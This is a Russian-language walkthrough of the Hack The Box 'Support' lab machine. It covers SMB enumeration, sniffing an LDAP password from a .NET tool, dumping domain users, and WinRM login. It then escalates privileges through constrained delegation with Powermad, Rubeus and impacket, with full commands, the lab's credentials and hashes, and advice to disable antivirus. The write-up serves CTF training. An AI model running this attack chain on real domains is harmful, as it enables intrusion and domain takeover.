CTF Звонок в поддержку. Проходим машину Support на Hack The Box

Logotype.jpg

Введение
Наверное каждый уважающий себя специалист по информационной безопасности знает, а может и проходил такие испытания как CTF. Это своеобразный мозговой штурм, который заставляет использовать изощренные методы взлома систем или серверов. Их основная задача оттачивать определенные навыки в поиске и эксплуатации отдельного типа уязвимостей. Площадок для тренировок огромное множество и в этой статье я решил остановиться на платформе Hack The Box. Так как мои навыки в этом деле очень малы я решил взять одну из легких машин с названием Support. И сегодня я расскажу тебе как ее пройти.


Подготовка к работе

Перед началом тебе следует ознакомиться с тем, как вообще проходить такие CTF. Прежде всего следует начать со сканирования. Конечно, я пропускаю момент подключения к самой лаборатории при помощи openvpn, но думаю с этим ты разберешься сам. Далее идет анализ портов и поиск уязвимых из них. Не переживай, на каждую дыру есть свой эксплоит, поэтому проводить все вручную тебе не придется. Здесь также важно помнить, что по мимо взлома ты чаще всего должен уметь повышать привилегии в системе. Для этого всего мы будем использовать отдельный софт.

Здесь я коротко описал то, как будет строится наша дальнейшая работа. Приступаем к делу!

Сканирование и анализ

Всю работу я провожу на виртуальной машине Kali Linux, поэтому все команды демонстрируются под нее. Ну а первым делом мы открываем консоль и сканируем машину при помощи любимого nmap.

Bash:
sudo nmap -sS -sV -Pn 10.10.11.174

Первый флаг покажет нам сервис, который стоит на просканированном порту и даст дополнительную информацию о машине, следующий определяет тип сканирования. Я же выбрал SYN. Ну а последний флаг позволяет обойти пинг и без проблем получить результаты сканирования. Кстати о них, рассмотрим полученную информацию и разберемся с тем, что нам нужно.


Код:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-25 06:40 MSK
Nmap scan report for dc.support.htb (10.10.11.174)
Host is up (0.11s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-09-25 03:41:14Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:window

Здесь стоит обратить внимание на порт 389 и его описание. Как ты видишь там установлен Active Directory LDAP и в скобках указано доменное имя. Давай проверим его используя утилиту dig (domain information groper). Делается это при помощи команды:

Bash:
dig @10.10.11.174 +short support.htb any 10.10.11.174

В консоли ты должен увидеть примерно такой результат:

Bash:
10.10.11.174
dc.support.htb.
dc.support.htb. hostmaster.support.htb. 105 900 600 86400 3600

Отлично, мы знаем доменное имя нашей машины. Чтобы не получать ошибки в дальнейшем давай внесем эту информацию в файл hosts по пути /etc/hosts. Открываем файл при помощи nano и указываем в нем такие строки:

Bash:
# HTB
10.10.11.174 dc.support.htb support.htb

Итак, мы нашли подозрительный порт и доменные имена нашей жертвы. Теперь ты можешь провести первоначальное подключение.

Подключение и поиск

Чтобы провернуть такую махинацию я буду использовать сетевой протокол SMB. Он позволяет приложениям компьютера читать и записывать файлы, а также запрашивать службы серверных программ в компьютерной сети. Поэтому для нашей работы он более чем подходит. Активируем все это дело командой:

Bash:
smbclient -N -L \\\\10.10.11.174

В результате этих действий ты должен увидеть такую картину:

smbscan.jpg


Выглядит все многообещающи. Но я остановлюсь на папке support-tools и попробую поискать в ней интересные файлы. Делаем это при помощи запроса:

Bash:
smbclient -N \\\\10.10.11.174\\support-tools

Отлично! Мы подключились. Осталось проверить, какие файлы у нас есть на анализ. Используем самую простую команду dir:

dirlist.jpg


Среди тонны ничем не примечательных программ я обратил внимание на файл UserInfo.exe.zip. Довольно странное расширение для такого архива. Ну а название говорит само за себя. Очевидно файл скрывает нужную нам информацию и чтобы до нее добраться давай скачаем все содержимое при помощи команд.

Код:
smb: \> mask ""
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *

smbdownload.jpg


Все скачалось и теперь можно проанализировать полученный файл. Я буду это делать при помощи известного dnSpy. Ты же можешь использовать любой удобный для тебя декомпилятор. Открываем файл и видим следующую картину:

UserInfo.jpg


Пошаримся немного по программе и перейдем к делу. Если ты не нашел нужную информацию, то советую заглянуть в UserInfo.Services и найти там ветку Protected. Здесь ты найдешь зашифрованный пароль. Теперь надо понять откуда у нас берется информация о пользователях. Для этого прогоним нашу программу через mono:

Код:
mono UserInfo.exe

Перед этим тебе следует поместить в отдельную папку все содержимое архива. Отдельно анализировать PE-файл у тебя не получится. По завершении работы программа выдаст такой результат:

mono.jpg


Похоже наш файл обращается к серверу, чтобы найти пользователя и узнать о нем более подробную информацию. Воспользуемся этим. Конечно, здесь есть два варианта событий. Либо перехватывать трафик и вынимать из него пароль или же дизассемблировать и пересобирать программу, чтобы узнать алгоритм шифрования. Я воспользуюсь самым простым способом, но если твои навыки реверса выше среднего, то ты можешь попытаться найти ответы в коде программы.

Чтобы все сработало тебе потребуется начинать перехват сразу же после запуска. Адаптер, который тебе нужен называется tun0. Запускаем программу при помощи команды:

Bash:
mono UserInfo.exe -v find -first seawolf

monostart.jpg


Теперь тут же начинаем перехват нашего трафика и останавливаем его после завершения работы программы. В результате ты увидишь такую информацию.

wireshark.jpg


Кликаем правой кнопкой мыши по выделенному пакету, выбираем функцию Следовать и переходим на протокол TCP. Прекрасно! У нас на руках есть логин и пароль для подключения (ldpa:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz).

password.jpg


После этого давай попробуем найти всю информацию о пользователях и соответственно сдампим ее при помощи утилит ldpasearch и ldpadomaindump. Выполняем команды по такому шаблону:

Bash:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=SUPPORT,DC=HTB"

Следовательно наш запрос к машине будет выглядеть таким образом:

Bash:
ldapsearch -x -H ldap://dc.support.htb -D 'SUPPORT\ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "CN=Users,DC=SUPPORT,DC=HTB"

И далее сразу же выполняем наш дамп с использованием тех же данных:

Bash:
ldapdomaindump -u 'support\ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' dc.support.htb

После этого давай проанализируем полученные файлы. Тебе нужно искать пользователя support, он имеет больше всего разрешений, если у тебя это не получилось, то я дам тебе подсказку. Тебе следует копаться в файле domain_users.json.

domain_users.jpg


Обычно строка info остается пустой в этом файле, но здесь есть какая-то информация, похожая на пароль. Давай попробуем подключиться используя эту строку как данные для входа. Я буду использовать Evil-WinRM, установим его при помощи команд и попробуем провести соединение:

Bash:
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
./evil-winrm.rb -i dc.support.htb -u support -p "Ironside47pleasure40Watchful"

Есть! Пароль подошел и мы вошли в систему. Что дальше? А дальше нас ожидает первый и последний флаг. Да, я помогу найти тебе пользовательский чекпоинт, но на уровне администратора это придется искать самому. А вот как выглядит наше подключение:

evil-winrm.jpg


Переходим по пути C:\Users\support и поищем интересные каталоги. Итак, перед тобой будет такая картина:


searchflags.jpg


Начнем с самого первой папки и посмотрим, что там хранится. На удивление на рабочем столе у нас лежит один текстовый документ, давай скачаем его:

user.jpg


Ты уже мог догадаться, что в этом файле у нас лежит флаг. Не буду задерживать, потому что ты знаешь, что с этим делать. Ну а мы переходим к этапу повышения наших привилегий в системе.

Повышаем привилегии в системе

Здесь я не буду рассказывать путь к уязвимости, а лишь скажу, что она связана с привилегиями пользователя Support (GenericAll), которые помогут нам повысить привилегии до уровня системного администратора. Для атаки мы будем использовать три утилиты: impacket, Powermad, Rubeus и SharpHound.

Создадим папку tools и поместим туда эти программы. Теперь нам надо создать фейковый аккаунт, для нашей работы. Так как мы работает в среде Windows, то нам придется использовать PE-файлы. Поэтому соберем проект Rubeus при помощи Visual Studio. Для этого воспользуемся функцией клонирования репозитория.

gitclone.jpg


Далее тебе вылезет надоедливое уведомление о том, что версии NET Framework несовместимы. Выбери рекомендуемое системой решение. Далее открываем файл и нажимаем на основной C# файл правой кнопкой мыши. В выпадающем окне выбираем функцию Собрать.

build.jpg


Ждем несколько минут, получаем кучу ошибок и понимаем, что наш любимый антивирус видит угрозу там, где ее нет. Отключаем его раз и навсегда и пробуем собрать все по новой. Отлично! Программа готова для работы.

debuginfo.jpg


Перекидываем ее в нашу виртуальную машину и помещаем в папку tools. Теперь переходим к созданию аккаунта. Надеюсь ты не потерял сессию Evil-WinRM, поскольку нам она пригодится для работы. Приступаем к работе, но для этого нам нужно сначала выгрузить все программы на удаленную машину:

Bash:
upload /home/user/tools/Powermad/Powermad.ps1 pm.ps1
upload /home/user/tools/Rubeus.exe r.exe
upload /home/user/tools/SharpHound.exe sh.exe

Далее импортируем модуль PowerMad, а также задаем параметры консоли:

Bash:
./sh.exe --memcache -c all -d SUPPORT.HTB -DomainController 127.0.0.1
Import-Module ./pm.ps1

Продолжаем наш путь и создаем профиль, при помощи команд:

Bash:
Set-Variable -Name "FakePC" -Value "FAKE00"
Set-Variable -Name "targetComputer" -Value "DC"

New-MachineAccount -MachineAccount (Get-Variable -Name "FakePC").Value -Password $(ConvertTo-SecureString 'qwerty' -AsPlainText -Force) -Verbose

Далее выдаем привилегии нашему аккаунту и проверяем их наличия, чтобы убедиться в работоспособности софта:

Bash:
xxxxxxxxxx Set-ADComputer (Get-Variable -Name "targetComputer").Value -PrincipalsAllowedToDelegateToAccount ((Get-Variable -Name "FakePC").Value + '$')Get-ADComputer (Get-Variable -Name "targetComputer").Value -Properties PrincipalsAllowedToDelegateToAccount

Далее создаем хэши нашего аккаунта, для дальнейшей работы. В этом нам поможет Rubeus, поэтому давай воспользуемся им при помощи команды:

Bash:
./r.exe hash /password:qwerty /user:FAKE00$ /domain:support.htb

Оригинальность в моих паролях удивляет многих. Но мы создали профиль для повышения до уровня администратора, поэтому защищать ее при помощи надежного пароля не стоит. Из хэшей ты должен записать aes256_cts_hmac_sha1. В моей консоли он выглядит так: 423A1F7C254BB2D13EA1F8F2E1A1AB171CDC541CBAD679E2078E5EE9959F6BA6.

Теперь ты можешь закрыть соединение с машиной и приступить к повышению привилегий. Для этого воспользуемся impacket и будем выдавать себя за админа. Организуем все это при помощи такой команды:

Bash:
cd /home/user/tools/impacket/examples/
sudo python3 getST.py support.htb/FAKE00 -dc-ip dc.support.htb -impersonate administrator -spn http/dc.support.htb -aesKey 423A1F7C254BB2D13EA1F8F2E1A1AB171CDC541CBAD679E2078E5EE9959F6BA6

Далее экспортируем кэш и становимся администратором:

Bash:
export KRB5CCNAME=administrator.ccache
sudo python3 smbexec.py support.htb/administrator@dc.support.htb -no-pass -k

Поздравляю с повышением! Осталось найти последний флаг и можно считать машину пройденной. Но эту часть я оставляю тебе, думаю это не составит проблемы. Также, если ты получаешь ошибки, то рекомендую выполнять команды от имени администратора. В другом случай не забывай создавать голосование на сброс машины, часто это является основной проблемой всех бед.

Подводим итоги

Писать статьи такого типа гораздо сложнее, поэтому я описал все как можно подробнее. Конечно, прохождение не обошлось без помощи, но думаю теперь ты будешь более подробно представлять, как проходить CTF. Support является одной из самых легких машин, но без опыта и прохождения обучения тебе придется сложно.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!